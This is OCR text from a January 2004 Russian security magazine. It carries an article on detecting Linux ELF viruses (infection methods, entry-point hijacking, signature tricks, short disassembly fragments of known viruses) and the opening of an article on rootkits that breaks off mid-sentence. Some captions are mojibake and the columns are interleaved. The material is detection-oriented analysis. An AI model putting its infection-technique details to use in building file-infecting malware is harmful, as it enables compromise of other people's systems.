mvanvoers_VB_conf 202000.pdf). Ниже приведен фрагмент
ELF-файла, зараженного вирусом Vit.
Ðèñóíîê 6. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì Lin/Vit. Ïîëÿ,
ìîäèôèöèðîâàííûå âèðóñîì, âûäåëåíû òðàóðíîé ðàìêîé
Многие вирусы (и в частности, вирус Lin/Obsidan) вы-
дают себя тем, что при внедрении в середину файла «за-
бывают» модифицировать заголовок таблицы секций
(либо же модифицируют его некорректно). Как уже отме-
чалось выше, в процессе загрузки исполняемых файлов
в память системный загрузчик считывает информацию о
сегментах и проецирует их содержимое целиком. Внут-
ренняя структура сегментов его совершенно не интере-
сует. Даже если заголовок таблицы секций отсутствует
или заполнен некорректно, запущенная на выполнение
программа будет исправно работать. Однако несмотря на
это, в подавляющем большинстве исполняемых файлов
заголовок таблицы секций все-таки присутствует, и по-
пытка его удаления оканчивается весьма плачевно – по-
пулярный отладчик gdb и ряд других утилит для работы с
ELF-файлами отказываются признать «кастрированный»
файл своим. При заражении исполняемого файла виру-
сом, некорректно обращающимся с заголовком таблицы
секций, поведение отладчика становится непредсказуе-
мым, демаскируя тем самым факт вирусного вторжения.
Перечислим некоторые наиболее характерные призна-
ки заражения исполняемых файлов (вирусы, внедряющи-
еся в компоновочные файлы, обрабатывают заголовок
таблицы секций вполне корректно, в противном случае
зараженные файлы тут же откажут в работе и распрост-
ранение вируса немедленно прекратится):
! поле e_shoff указывает «мимо» истинного заголовка
таблицы секций (так себя ведет вирус Lin/Obsidan) либо
имеет нулевое значение при непустом заголовке таб-
лицы секций (так себя ведет вирус Linux.Garnelis);
!поле e_shoff имеет ненулевое значение, но ни одного
заголовка таблицы секций в файле нет;
!заголовок таблицы секций содержится не в конце фай-
ла, этих заголовков несколько или заголовок таблицы
секций попадает в границы владения одного из сег-
ментов;
! сумма длин всех секций одного сегмента не соответ-
ствует его полной длине;
18
! программный код расположен в области, не принад-
лежащей никакой секции.
Следует сказать, что исследование файлов с искажен-
ным заголовком таблицы секций представляет собой до-
статочно простую проблему. Дизассемблеры и отладчи-
ки либо виснут, либо отображают такой файл неправиль-
но, либо же не загружают его вообще. Поэтому, если вы
планируете заниматься исследованием зараженных фай-
лов не день и не два, лучше всего будет написать свою
собственную утилиту для их анализа.
Сдвиг кодовой секции вниз
Трудно объяснить причины, по которым вирусы внедря-
ются в начало кодовой секции (сегмента) заражаемого
файла или создают свой собственную секцию (сегмент),
располагающуюся впереди. Этот прием не обеспечивает
никаких преимуществ перед записью своего тела в конец
кодовой секции (сегмента) и к тому же намного сложнее
реализуется. Тем не менее, такие вирусы существуют и
будут подробно здесь рассмотрены.
Наилучший уровень скрытности достигается при вне-
дрении в начало секции .text и осуществляется практи-
чески тем же самым образом, что и внедрение в конец, с
той лишь разницей, что для сохранения работоспособно-
сти зараженного файла вирус корректирует поля sh_addr
и p_vaddr, уменьшая их на величину своего тела и не за-
бывая о необходимости выравнивания (если выравнива-
ние действительно необходимо). Первое поле задает вир-
туальный стартовый адрес для проекции секции .text, вто-
рое – виртуальный стартовый адрес для проекции кодо-
вого сегмента.
В результате этой махинации вирус оказывается в са-
мом начале кодовой секции и чувствует себя довольно
уверенно, поскольку при наличии стартового кода выгля-
дит неотличимо от «нормальной» программы. Однако
работоспособность зараженного файла уже не гаранти-
руется, и его поведение рискует стать совершенно непред-
сказуемым, поскольку виртуальные адреса всех преды-
дущих секций окажутся полностью искажены. Если при
компиляции программы компоновщик позаботился о со-
здании секции перемещаемых элементов, то вирус (тео-
ретически) может воспользоваться этой информацией для
приведения впереди идущих секций в нормальное состо-
яние, однако исполняемые файлы в своем подавляющем
большинстве спроектированы для работы по строго оп-
ределенным физическим адресам и потому неперемеща-
емы. Но даже при наличии перемещаемых элементов ви-
рус не сможет отследить все случаи относительной адре-
сации. Между секцией кода и секцией данных относитель-
ные ссылки практически всегда отсутствуют, и потому при
вторжении вируса в конец кодовой секции работоспособ-
ность файла в большинстве случаев не нарушается. Од-
нако внутри кодового сегмента случаи относительной
адресации между секциями – скорее правило, нежели
редкость. Взгляните на фрагмент дизассемблерного ли-
стинга утилиты ping, позаимствованный из UNIX Red Hat 5.0.
Команду call, расположенную в секции .init, и вызывае-
мую ею подпрограмму, находящуюся в секции .text, раз-

деляют ровно 8002180h – 8000915h == 186Bh байт, и имен-
но это число фигурирует в машинном коде (если же вы
все еще продолжаете сомневаться, загляните в Intel
Instruction Reference Set: команда E8h это команда отно-
сительного вызова):
Ëèñòèíã 11. Ôðàãìåíò óòèëèòû ping, èñïîëüçóþùåé, êàê è ìíî-
ãèå äðóãèå ïðîãðàììû, îòíîñèòåëüíûå ññûëêè ìåæäó ñåêöèÿìè
êîäîâîãî ñåãìåíòà
.init:08000910 _init proc near ↵
; CODE XREF: start+51↓p
.init:08000910 E8 6B 18 00 00 call sub_8002180
.init:08000915 C2 00 00 retn 0
.init:08000915 _init endp
… кую секцию можно где угодно. Хоть в начале файла, хоть
.text:08002180 sub_8002180 proc near ↵
; CODE XREF: _init↑p
Неудивительно, что после заражения файл перестает
работать (или станет работать некорректно)! Но если это
все-таки произошло, загрузите файл в отладчик/дизас-
семблер и посмотрите – соответствуют ли относительные
вызовы первых кодовых секций пункту своего назначе-
ния. Вы легко распознаете факт заражения, даже не бу-
дучи специалистом в области реинжиниренга.
В этом мире ничего не дается даром! За скрытность
вирусного вторжения последнему приходится расплачи-
ваться разрушением большинства заражаемых файлов.
Более корректные вирусы располагают свое тело в нача-
ле кодового сегмента – в секции .init. Работоспособность
заражаемых файлов при этом не нарушается, но присут-
ствие вируса становится легко обнаружить, т.к. секция .init
редко бывает большой, и даже небольшая примесь по-
стороннего кода сразу же вызывает подозрение.
Ðèñóíîê 7. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì
ðàñøèðåíèÿ åãî êîäîâîé ñåêöèè
Некоторые вирусы (например, вирус Linux.NuxBee) за-
писывают себя поверх кодового сегмента заражаемого
файла, перемещая затертую часть в конец кодовой сек-
ции (или, что более просто, в конец последнего сегмента
файла). Получив управление и выполнив всю работу «по
хозяйству», вирус забрасывает кусочек своего тела в стек
и восстанавливает оригинальное содержимое кодового
сегмента. Учитывая, что модификация кодового сегмен-
та по умолчанию запрещена и разрешать ее вирусу не
резон (в этом случае факт заражения очень легко обна-
ружить), вирусу приходится прибегать к низкоуровневым
манипуляциям с атрибутами страниц памяти, вызывая
функцию mprotect, практически не встречающуюся в «че-
стных» приложениях.
Другой характерный признак: в том месте, где конча-
ется вирус и начинается незатертая область оригиналь-
№1(14), январь 2004
безопасность
ного тела программы, образуется своеобразный дефект.
Скорее всего, даже наверняка, граница раздела двух сред
пройдет посередине функции оригинальной программы,
если еще не рассечет машинную команду. Дизассемблер
покажет некоторое количество мусора и хвост функции с
отсутствующим прологом.
Создание своей собственной секции
Наиболее честный (читай – «корректный») и наименее
скрытный способ внедрения в файл состоит в создании
своей собственной секции (сегмента), а то и двух секций –
для кода и для данных соответственно. Разместить та-
в конце (вариант внедрения в сегмент с раздвижкой со-
седних секций мы уже рассматривали выше).
Ëèñòèíã 12. Êàðòà ôàéëà, çàðàæåííîãî âèðóñîì, âíåäðÿþùèìñÿ
â ñîáñòâåííîðó÷íî ñîçäàííóþ ñåêöèþ è ýòèì ñåáÿ äåìàñêèðóþ-
ùèì (ïîäðîáíåå îá ýòîì ðàññêàçûâàëîñü â ïðåäûäóùåé ñòàòüå
ýòîãî öèêëà «Áîðüáà ñ âèðóñàìè – îïûò êîíòðòåððîðèñòè÷åñêèõ
îïåðàöèé», â îêòÿáðüñêîì íîìåðå æóðíàëà)
Внедрение между файлом и заголовком
Фиксированный размер заголовка a.out-файлов суще-
ственно затруднял эволюцию этого, в общем-то неплохо-
го формата, и в конечном счете привел к его гибели. В
последующих форматах это ограничение было преодо-
лено. Так, в ELF-файлах длина заголовка хранится в двух-
байтовом поле e_ehize, оккупировавшем 28h и 29h бай-
ты, считая от начала файла.
Увеличив заголовок заражаемого файла на величину,
равную длине своего тела, и сместив оставшуюся часть
файла вниз, вирус сможет безболезненно скопировать
себя в образовавшееся пространство между концом на-
стоящего заголовка и началом Program Header Table. Ему
даже не придется увеличивать длину кодового сегмента,
поскольку в большинстве случаев тот начинается с само-
го первого байта файла. Единственное, что будет вынуж-
ден сделать вирус, сдвинуть поля p_offset всех сегментов
на соответствующую величину вниз. Сегмент, начинаю-
щийся с нулевого смещения, никуда перемещать не надо,
иначе вирус не будет спроецирован в память. (Смещения
сегментов в файле отсчитываются от начала файла, но
не от конца заголовка, что нелогично и идеологически
неправильно, зато упрощает программирование). Поле
e_phoff, задающее смещение Program Head Table, также
должно быть скорректировано.
Аналогичную операцию следует проделать и со сме-
щениями секций, в противном случае отладка/дизассем-
блирование зараженного файла станет невозможной (хотя
файл будет нормально запускаться). Существующие ви-
русы забывают скорректировать содержимое полей
sh_offset, чем и выдают себя, однако следует быть гото-
19
 безопасность
вым к тому, что в следующих поколениях вируса этот не-
достаток будет устранен.
Впрочем, в любом случае такой способ заражения
слишком заметен. В нормальных программах исполняе-
мый код никогда не попадает в ELF-заголовок, и его на-
личие там красноречиво свидетельствует о вирусном за-
ражении. Загрузите исследуемый файл в любой HEX-ре-
дактор (например, HIEW) и проанализируйте значение
поля e_ehize. Стандартный заголовок, соответствующий
текущим версиям ELF-файла, на платформе X86 (кстати,
недавно переименованной в платформу Intel) имеет дли-
ну, равную 34 байтам. Другие значения в «честных» ELF-
файлах мне видеть пока не доводилось (хотя я и не ут-
верждаю, что таких файлов действительно нет – опыт
работы с UNIX у меня небольшой). Только не пытайтесь
загрузить зараженный файл в дизассемблер. Это беспо-
лезно. Большинство из них (и IDA PRO в том числе) отка-
жутся дизассемблировать область заголовка, и исследо-
ватель о факте заражения ничего не узнает!
Ниже приведен фрагмент файла, зараженного виру-
сом UNIX.inheader.6666. Обратите внимание на поле дли-
ны ELF-заголовка, обведенное квадратиком. Вирусное
тело, начинающиеся с 34h байта, залито бордовым цве-
том. Сюда же направлена точка входа (в данном случае
она равна 8048034h):
Ðèñóíîê 8. Ôðàãìåíò HEX-äàìïà ôàéëà, çàðàæåííîãî âèðóñîì
UNIX.inheader.6666, âíåäðÿþùèìñÿ â ELF-çàãîëîâîê. Ïîëÿ ELF-
çàãîëîâêà, ìîäèôèöèðîâàííûå âèðóñîì, âçÿòû â ðàìêó, à ñàìî
òåëî âèðóñà çàëèòî áîðäîâûì öâåòîì
Как вариант, вирус может вклиниться между концом
ELF-заголовка и началом Program Header Table. Зараже-
ние происходит так же, как и предыдущем случае, однако
длина ELF-заголовка остается неизменной. Вирус оказы-
вается в «сумеречной» области памяти, формально при-
надлежащей одному из сегментов, но де-факто считаю-
щейся «ничейной» и потому игнорируемой многими от-
ладчиками и дизассемблерами. Если только вирус не пе-
реустановит на себя точку входа, дизассемблер даже не
сочтет нужным заругаться по этому поводу. Поэтому ка-
кой бы замечательной IDA PRO ни была, а просматри-
вать исследуемые файлы в HIEW все-таки необходимо!
Учитывая, что об этом догадываются далеко не все экс-
перты по безопасности, данный способ заражения риску-
ет стать весьма перспективным. К борьбе с вирусами,
внедряющимися в заголовок ELF-файлов, будьте готовы!
Перехват управления путем коррекции
точки входа
Успешно внедриться в файл – это только полдела. Для
поддержки своей жизнедеятельности всякий вирус дол-
жен тем или иным способом перехватить на себя нить уп-
равления. Классический способ, активно использовав-
шийся еще во времена MS-DOS, сводится к коррекции
точки входа – одного из полей ELF/COFF/a.out заголов-
ков файлов. В ELF-заголовке эту роль играет поле e_entry,
20
в a.out – a_entry. Оба поля содержат виртуальный адрес
(не смещение, отсчитываемое от начала файла) машин-
ной инструкции, на которую должно быть передано уп-
равление.
При внедрении в файл вирус запоминает адрес ори-
гинальной точки входа и переустанавливает ее на свое
тело. Сделав все, что хотел сделать, он возвращает уп-
равление программе-носителю, используя сохраненный
адрес. При всей видимой безупречности этой методики
она не лишена изъянов, обеспечивающих быстрое разоб-
лачение вируса.
Во-первых, точка входа большинства честных файлов
указывает на начало кодовой секции файла. Внедриться
сюда трудно, и все существующие способы внедрения
связаны с риском необратимого искажения исполняемо-
го файла, приводящего к его полной неработоспособнос-
ти. Точка входа, «вылетающая» за пределы секции .text, –
явный признак вирусного заражения.
Во-вторых, анализ всякого подозрительного файла
начинается в первую очередь с окрестностей точки входа
(и ею же обычно и заканчивается), поэтому независимо
от способа вторжения в файл вирусный код сразу же бро-
сается в глаза.
В-третьих, точка входа – объект пристального внима-
ния легиона дисковых ревизоров, сканеров, детекторов и
всех прочих антивирусов.
Использовать точку входа для перехвата управления –
слишком примитивно и, по мнению большинства созда-
телей вирусных программ, даже позорно. Современные
вирусы осваивают другие методики заражения, и закла-
дываться на анализ точки входа может только наивный
(вот так и рождаются байки о неуловимых вирусах…).
Перехват управления путем внедрения
своего кода в окрестности точки входа
Многие вирусы никак не изменяют точку входа, но вне-
дряют по данному адресу команду перехода на свое тело,
предварительно сохранив его оригинальное содержимое.
Несмотря на кажущуюся элегантность этого алгоритма,
он довольно капризен в работе и сложен в реализации.
Начнем с того, что для сохранения оригинальной машин-
ной инструкции, расположенной в точке входа, вирус дол-
жен определить ее длину, но без встроенного дизассемб-
лера это сделать невозможно.
Большинство вирусов ограничивается тем, что сохра-
няет первые 16-байт (максимально возможная длина ма-
шинной команды на платформе Intel), а затем восстанав-
ливает их обратно, так или иначе обходя запрет на моди-
фикацию кодового сегмента. Кто-то снабжает кодовый
сегмент атрибутом Write, делая его доступным для запи-
си (если не трогать атрибуты секций, то кодовый сегмент
все равно будет можно модифицировать, но IDA PRO об
этом не расскажет, т.к. с атрибутами сегментов она рабо-
тать не умеет), кто-то использует функцию mprotect для
изменения атрибутов страниц на лету. И тот, и другой
способы слишком заметны, а инструкция перехода на тело
вируса заметна без очереди!
Более совершенные вирусы сканируют стартовую про-
цедуру заражаемого файла в поисках инструкций call или

jmp. А найдя таковую, подменяют вызываемый адрес на
адрес своего тела. Несмотря на кажущуюся неуловимость,
обнаружить такой способ перехвата управления очень
легко. Первое и главное – вирус, в отличие от легально
вызываемых функций, никак не использует переданные
ему в стеке аргументы. Он не имеет никаких понятий об
их числе и наличии (машинный анализ количества пере-
данных аргументов немыслим без интеграции в вирус
полноценного дизассемблера, оснащенного мощным ин-
теллектуальным анализатором). Вирус тщательно сохра-
няет все изменяемые регистры, опасаясь, что функции
могут использовать регистровую передачу аргументов с
неизвестным ему соглашением. Самое главное – при пе-
редаче управления оригинальной функции вирус должен
либо удалить с верхушки стека адрес возврата (в против-
ном случае их там окажется два) либо вызывать ориги-
нальную функцию не командой call, но командой jmp. Для
«честных» программ, написанных на языках высокого
уровня, и то и другое крайне нетипично, благодаря чему
вирус оказывается немедленно разоблачен.
Вирусы, перехватывающие управление в произволь-
ной точке программы (зачастую чрезвычайно удаленной
от точки входа), выявить намного труднее, поскольку при-
ходится анализировать довольно большие, причем зара-
нее не определенные, объемы кода. Впрочем, с удалени-
ем от точки входа стремительно возрастает риск, что дан-
ная ветка программы никогда не получит управление,
поэтому все известные мне вирусы не выходят за грани-
цы первого встретившегося им RET.
Основные признаки вирусов
Искажение структуры исполняемых файлов – характер-
ный, но недостаточный признак вирусного заражения.
Быть может, это защита хитрая такая или завуалирован-
ный способ самовыражения разработчика. К тому же не-
которые вирусы ухитряются внедриться в файл практи-
чески без искажений его структуры. Однозначный ответ
дает лишь полное дизассемблирование исследуемого
файла, однако это слишком трудоемкий способ, требую-
щий усидчивости, глубоких знаний операционной систе-
мы и неограниченного количества свободного времени.
Поэтому на практике обычно прибегают к компромиссно-
му варианту, сводящемуся к беглому просмотру дизас-
семблерного листинга на предмет поиска основных при-
знаков вирусного заражения.
Большинство вирусов использует довольно специфи-
ческий набор машинных команд и структур данных, прак-
тически никогда не встречающихся в «нормальных» при-
ложениях. Конечно, разработчик вируса при желании мо-
жет все это скрыть, и распознать зараженный код тогда
не удастся. Но это в теории. На практике же вирусы обыч-
но оказываются настолько тупы, что обнаруживаются за
считанные доли секунды.
Ведь чтобы заразить жертву, вирус прежде должен ее
найти, отобрав среди всех кандидатов только файлы «сво-
его» типа. Для определенности возьмем ELF. Тогда ви-
рус будет вынужден считать его заголовок и сравнить
четыре первых байта со строкой « FELF», которой соот-
ветствует ASCII-последовательность 7F 45 4C 46. Конеч-
№1(14), январь 2004
безопасность
но, если тело вируса зашифровано, вирус использует хеш-
сравнение или же другие хитрые приемы программиро-
вания, строки «ELF» в теле зараженного файла не ока-
жется, но более чем в половине всех существующих UNIX-
вирусов она все-таки есть, и этот прием, несмотря на свою
изумительную простоту, очень неплохо работает.
Загрузите исследуемый файл в любой HEX-редактор
и попробуйте отыскать строку « ELF». В зараженном фай-
ле таких строк будет две – одна непосредственно в заго-
ловке, другая – в кодовой секции или секции данных. Толь-
ко не используйте дизассемблер! Очень многие вирусы
преобразуют строку « FELF» в 32-разрядную целочис-
ленную константу 464С457Fh, которая маскирует присут-
ствие вируса, но при переключении в режим дампа сразу
же «проявляется» на экране. Ниже приведен внешний вид
файла, зараженного вирусом VirTool.Linux.Mmap.443, ко-
торый использует именно такую методику:
Ðèñóíîê 9. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì
VirTool.Linux.Mmap.443. Â HEX-äàìïå ëåãêî îáíàðóæèâàåòñÿ ñòðîêà
«ELF», èñïîëüçóåìàÿ âèðóñîì äëÿ ïîèñêà æåðòâ «ñâîåãî» òèïà
Вирус Linux.Winter.343 (также известный под именем
Lotek) по этой методике обнаружить не удается, посколь-
ку он использует специальное математическое преобра-
зование, зашифровывая строку « ELF» на лету:
Ëèñòèíã 13. Ôðàãìåíò âèðóñà Lotek, òùàòåëüíî ñêðûâàþùåãî
ñâîé èíòåðåñ ê ELF-ôàéëàì
.text:08048473 mov eax, 0B9B3BA81h ↵
; -"ELF" (ìèíóñ "ELF")
.text:08048478 add eax, [ebx] ↵
; ïåðâûå ÷åòûðå áàéòà æåðòâû
.text:0804847A jnz short loc_804846E ↵↵
; → ýòî íå ELF
Непосредственное значение B9B3BA81h, соответству-
ющее текстовой строке « » (в приведенном выше лис-
тинге оно выделено жирным шрифтом), представляет
собой не что иное, как строку « ELF», преобразованную
в 32-разрядную константу и умноженную на минус едини-
цу. Складывая полученное значение с четырьмя первы-
ми байтами жертвы, вирус получает ноль, если строки
равны, и ненулевое значение в противном случае.
Как вариант, вирус может дополнять эталонную стро-
ку « ELF» до единицы, и тогда в его теле будет присут-
ствовать последовательность 80 BA B3 B9. Реже встре-
чаются циклические сдвиги на одну, две, три… и семь
позиций в различные стороны, неполные проверки (т.е.
проверки на совпадение двух или трех байт) и некоторые
другие операции – всех не перечислишь!
21
 безопасность
Более уязвимым с точки зрения скрытности является
механизм реализации системных вызовов. Вирус не мо-
жет позволить себе тащить за собой всю библиотеку LIBC,
прилинкованную к нему статической компоновкой, по-
скольку существование подобного монстра трудно оста-
вить незаметным. Существует несколько способов реше-
ния этой проблемы, и наиболее популярный из них сво-
дится к использованию nativeAPI операционной системы.
Поскольку последний является прерогативой особеннос-
тей реализации данной конкретной системы, создатели
UNIX де-факто отказались от многочисленных попыток его
стандартизации. В частности, в System V (и ее многочис-
ленных клонах) обращение к системным функциям про-
исходит через дальний call по адресу 0007:00000000, а в
Linux это осуществляется через служебное прерывание
INT 80h (перечень номеров системных команд можно най-
ти в файле /usr/include/asm/unistd.h). Таким образом, ис-
пользование nativeAPI существенно ограничивает ареал
обитания вируса, делая его непереносимым.
«Честные» программы в большинстве своем практичес-
ки никогда не работают через nativeAPI (хотя утилиты из ком-
плекта поставки Free BSD 4.5 ведут себя именно так), по-
этому наличие большого количества машинных команд
INT 80h/CALL 0007:0000000 (CD 80/9A 00 00 00 00 07 00) с
высокой степенью вероятности свидетельствует о наличии
вируса. Для предотвращения ложных срабатываний (т.е. об-
наружения вируса там, где и следов его нет), вы должны не
только обнаружить обращения к nativeAPI, но и проанализи-
ровать последовательность их вызовов. Для вирусов харак-
терна следующая цепочка системных команд: sys_open,
sys_lseek, old_mmap/sys_munmap, sys_write, sys_close,
sys_exit. Реже используются вызовы exec и fork. Их, в част-
ности, использует вирус STAOG.4744. Вирусы VirTool.Linux.
Mmap.443, VirTool.Linux.Elfwrsec.a, PolyEngine.Linux.LIME.
poly, Linux.Winter.343 и ряд других обходятся без этого.
Ниже приведен фрагмент файла, зараженного виру-
сом VirTool.Linux.Mmap.443. Наличие незамаскированных
вызовов INT 80h с легкостью разоблачает агрессивную
природу программного кода, указывая на склонность пос-
леднего к саморазмножению:
Ðèñóíîê 10. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì
VirTool.Linux.Mmap.443, äåìàñêèðóþùèì ñâîå ïðèñóòñòâèå ïðÿìûì
îáðàùåíèåì ê native API îïåðàöèîííîé ñèñòåìû
22
А вот так для сравнения выглядят системные вызовы
«честной» программы – утилиты cat из комплекта постав-
ки Free BSD 4.5 (см. рис. 11). Инструкции прерывания не
разбросаны по всему коду, а сгруппированы в собствен-
ных функциях-обертках. Конечно, вирус тоже может «об-
мазать» системные вызовы слоем переходного кода, но
вряд ли у него получится подделать характер оберток кон-
кретного заражаемого файла.
Ðèñóíîê 11. Ôðàãìåíò «÷åñòíîãî» ôàéëà cat èç êîìïëåêòà ïî-
ñòàâêè Free BSD, àêêóðàòíî ðàçìåùàþùåãî native-API âûçîâû â
ôóíêöèÿõ-îáåðòêàõ
Некоторые (впрочем, довольно немногочисленные)
вирусы так просто не сдаются и используют различные
методики, затрудняющие их анализ и обнаружение.
Наиболее талантливые (или скорее прилежные) разра-
ботчики динамически генерируют инструкцию INT 80h/
CALL 0007:00000000 на лету и, забрасывая ее на вер-
хушку стека, скрытно передают ей управление. Как
следствие – в дизассемблерном листинге исследуемой
программы вызов INT 80h/INT 80h/CALL 0007:00000000
будет отсутствовать, и обнаружить такие вирусы мож-
но лишь по многочисленным косвенным вызовам под-
программ, находящихся в стеке. Это действительно
нелегко, т.к. косвенные вызовы в изобилии присутству-
ют и в «честных» программах, а определение значений
вызываемых адресов представляет собой серьезную
проблему (во всяком случае при статическом анализе).
С другой стороны, таких вирусов пока существует не-
много (да и те – сплошь лабораторные), так что ника-
ких поводов для паники пока нет. А вот шифрование
критических к раскрытию участков вирусного тела
встречается гораздо чаще. Однако для дизассемблера
IDA PRO это не бог весть какая сложная проблема, и
даже многоуровневая шифровка снимается без малей-
шего умственного и физического напряжения.
Впрочем, на каждую старуху есть проруха, и IDA Pro
тому не исключение. При нормальном развитии событий
IDA Pro автоматически определяет имена вызываемых
функций, оформляя их как комментарии. Благодаря это-
му замечательному обстоятельству, для анализа иссле-
дуемого алгоритма нет нужды постоянно лезть в спра-
вочник. Такие вирусы, как, например, Linux.ZipWorm, не
могут смириться с подобным положением дел и активно
используют специальные приемы программирования, сби-
вающие дизассемблер с толку. Тот же Linux.ZipWorm про-
талкивает номера вызываемых функций через стек, что
 безопасность
вводит IDA в замешательство, лишая ее возможности Поэтому присутствие стартового кода в исследуемом
определения имен последних: файле, не дает нам никаких оснований считать его здо-
ровым.
Ëèñòèíã 14. Ôðàãìåíò âèðóñà Linux.ZipWorm, àêòèâíî è íåáå-
çóñïåøíî ïðîòèâîñòîÿùåãî äèçàññåìáëåðó IDA Pro
Ëèñòèíã 16. Àëüòåðíàòèâíûé ïðèìåð íîðìàëüíîé ñòàðòîâîé ôóíêöèè
.text:080483C0 push 13h
.text:080483C2 push 2 .text:08048330 public start
.text:080483C4 sub ecx, ecx .text:08048330 start proc near
.text:080483C6 pop edx .text:08048330 xor ebp, ebp
; // EAX := 2. Ýòî âûçîâ fork .text:08048332 pop esi
.text:080483C7 pop eax .text:08048333 mov ecx, esp
; LINUX – ← IDA íå ñìîãëà îïðåäåëèòü èìÿ âûçîâà! .text:08048335 and esp, 0FFFFFFF8h
.text:080483C8 int 80h .text:08048338 push eax
.text:08048339 push esp
.text:0804833A push edx
С одной стороны, вирус действительно добился постав- .text:0804833B push offset sub_804859C
ленной перед ним цели, и дизассемблерный листинг с .text:08048340 push offset sub_80482BC
.text:08048345 push ecx
отсутствующими автокомментариями с первого присту- .text:08048346 push esi
па не возьмешь. Но давайте попробуем взглянуть на си- .text:08048347 push offset loc_8048430
.text:0804834C call ___libc_start_main
туацию под другим углом. Сам факт применения антиот- .text:08048351 hlt
ладочных приемов уже свидетельствует если не о зара- .text:08048352 nop
.text:08048353 nop
жении, то во всяком случае о ненормальности ситуации. .text:08048353 start endp
Так что за противодействие анализу исследуемого фай-
ла вирусу приходится расплачиваться ослабленной мас- Большинство зараженных файлов выглядит иначе. В
кировкой (в программистских кулуарах по этому случаю частности, стартовый код вируса PolyEngine.Linux.LIME.poly
обычно говорят «из зараженного файла вирусные уши выглядит так:
торчат»).
Уши будут торчать еще и потому, что большинство Ëèñòèíã 17. Ñòàðòîâûé êîä âèðóñà PolyEngine.Linux.LIME.poly
вирусов никак не заботится о создании стартового кода ; Alternative name is 'main'
или хотя бы плохонькой его имитации. В точке входа «че- .data:080499C1 LIME_END:
.data:080499C1 mov eax, 4
стной» программы всегда (ну или практически всегда) .data:080499C6 mov ebx, 1
расположена нормальная функция с классическим про- ; "Generates 50 [LiME] encrypted…"
.data:080499CB mov ecx, offset gen_msg
логом и эпилогом, автоматически распознаваемая дизас- .data:080499D0 mov edx, 2Dh
семблером IDA Pro, вот например: ; LINUX – sys_write
.data:080499D5 int 80h
.data:080499D7 mov ecx, 32h
Ëèñòèíã 15. Ïðèìåð íîðìàëüíîé ñòàðòîâîé ôóíêöèè ñ êëàññè-
÷åñêèì ïðîëîãîì è ýïèëîãîì
text:080480B8 start
text:080480B8
proc near Заключение
text:080480B8 push ebp Несмотря на свой, прямо скажем, далеко не маленький
text:080480B9 mov ebp, esp размер, настоящая статья охватила далеко не весь круг
text:080480BB sub esp, 0Ch
… изначально намеченных тем. Незатронутыми остались
text:0804813B ret вопросы «прорыва» виртуальной машины интерпретато-
text:0804813B start endp
ром, техника выявления Stealth-вирусов и противодей-
В некоторых случаях стартовые функции передают ствия им, жизненный цикл червей и комплекс мер, направ-
бразды правления libc_start_main и заканчиваются по hlt ленных на предотвращение возможного вторжения…
без ret. Это вполне нормальное явление. «Вполне» пото- Обо всем этом и многом другом мы поговорим в сле-
му что очень многие вирусы, написанные на ассемблере, дующий раз, если, конечно, к тому времени эта тема ни-
получают в «подарок» от линкера такой же стартовый код. кому не надоест…

№1(14), январь 2004 23

безопасность

ЧТО ТАКОЕ ROOTKITS,

И КАК С НИМИ БОРОТЬСЯ
Защищенный компьютер – мертвый компьютер.
Сказано на каком-то форуме

СЕРГЕЙ ЯРЕМЧУК

24

На новый сервер установлен Linux последнего выпуска,
убраны все лишние сервисы, firewall настроен так, что
завидуют друзья. Теперь можно сидеть почитывать худо-
жественную литературу и попивать кофе. А вот и нет. Так
может думать админ, который ни разу не пробовал свои
силы во взломе своих систем.
К сожалению, находясь на курсах, заметил странную
закономерность. Некоторые из присутствующих вслепую
доверяли firewall, основываясь, как правило, на очень про-
стом предположении, что если он отсеивает ненужную
часть трафика, то взломщику просто нет путей для про-
никновения на компьютер. Да, действительно, firewall, дей-
ствуя по классической схеме «свой-чужой», отсекает не-
угодные администратору пакеты. Но если, например, от-
крыт 80 порт для доступа к веб-серверу, то и пакеты, на-
правленные на такой порт, беспрепятственно пройдут че-
рез него и, естественно, следуя законам Мерфи, обязатель-
но найдется уязвимость в таком «легальном» сервисе, не
говоря уже, что сам firewall может стать объектом атаки.
Дальше, как говорится, все это уже дело времени.
Чтобы иметь возможность и далее возвращаться во
взломаную систему, при этом, чтобы сисадмин не мог их
увидеть, а система их действия не регистрировала, напа-
дающий устанавливает современный вариант троянско-
го коня, набор утилит – rootkits. Обычно в этот набор вхо-
дит sniffer, при помощи которого прослушивается сеть для
возможного перехвата ценной информации (пароля, на-
пример), модифицированный набор основных системных
программ (ps, ls, who, find, netstat, ifconfig ...), скрипты для
чистки логов. Для дистанционного управления запуска-
ется нелегальный демон удаленного доступа, открываю-
щий сетевой порт, который «не замечают» модифициро-
ванные утилиты. При этом, чтобы сохранить максималь-
ное приближение к оригинальному файлу, трояненные
утилиты имитируют ту же дату создания файла и размер.
Небольшая история развития rootkits
В начале 80-х все было скучно до безобразия. Команда last
показывала, кто и когда хулиганил в системе, команды ls и
ps выдавали новые файлы и неизвестные процессы, netstat
сообщала текущие сетевые подключения и порты, на кото-
рых слушались входящие подключения, команда ifconfig со-
общала администратору, если интерфейс локальной сети
на основе протокола ethernet был установлен в «неопреде-
ленный» (PROMISCIOUS) режим, означающий работу про-
граммы-сниффера, следы его пребывания можно было так-
же отыскать в /var/log/messages. Естественно, такое поло-
жение дел не устраивало взломщиков, и были придуманы
методы, позволяющие скрыть их действия. Описание этих
методов появились в некоторых электронных и печатных
журналах, таких, как 2600 (http://www.2600.com/phrack/) или
Phrack (http://www.phrack.org/). Например, статья «Hiding Out
Under Unix» Black Tie Affair (25 номер, файл р25-06) описы-
вает возможность, и приводится исходный код, позволяю-
щий путем модификации файла /etc/wtmp скрыть свое пре-
бывание в системе. И понеслось, через некоторое время по-
явились программы, «умеющие» модифицировать свой
timestamp и подгонять размер под требуемый. Теперь такие
программы, содержащие троян, отличить от оригинальных
№1(14), январь 2004
безопасность
очень было затруднительно, и сисадмин считал, что работа-
ет на чистой системе. Эти программы были объединены в
единый комплект утилит, названный «Root Kits», исходно раз-
работанные Lord Somer, сегодня находятся уже в шестой
версии с несколькими вариантами. Версия 3 – Linux Root Kit
3 (lrk3) от декабря 1996 года содержала обычные методы
перехвата паролей и сокрытия действий. Администратор,
зная входящие в комплект файлы, мог вычислить заражен-
ные путем просмотра в текстовом редакторе, сравнивая
